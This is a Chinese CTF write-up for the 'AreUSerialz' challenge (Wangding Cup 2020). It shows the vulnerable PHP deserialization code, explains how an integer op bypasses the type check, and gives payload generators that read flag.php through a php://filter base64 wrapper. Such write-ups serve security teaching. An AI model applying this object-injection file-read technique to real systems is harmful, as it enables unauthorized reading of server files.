AreUSerialz

[网鼎杯 2020 青龙组]AreUSerialz 解题思路&过程

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<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

is_valid()函数对传入的字符串进行判断，确保每一个字符ASCII码值都在32-125，即该函数的作用是确保参数字符串的每一个字符都是可打印的，才返回true。

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if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

该段代码首先通过get方法获得字符串str，若str中没有不可打印的字符串后，对字符串执行反序列化操作。因此我们再看一遍FileHandler类中的内容。

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class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

于是我们发现，若想读取flag，需要绕过process()方法的判断，防止op被置一。于是可以传入一个数字2，绕过process()方法的判断。于是我们构造payload：

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<?php
highlight_file(__FILE__);
	class FileHandler {
        protected $op = 2;
        protected $filename = "php://filter/read=convert.base64-encode/resource=d:\\phpstudy_pro\\WWW\\flag.php";
        protected $content;
    }
    $a = new FileHandler();
        $b = serialize($a);
        echo($b);
?>

利用以下payload可以读到flag。

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<?php
highlight_file(__FILE__);
	class FileHandler {
        public $op = 2;
        public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
        public $content;
    }
    $a = new FileHandler();
        $b = serialize($a);
        echo($b);
?>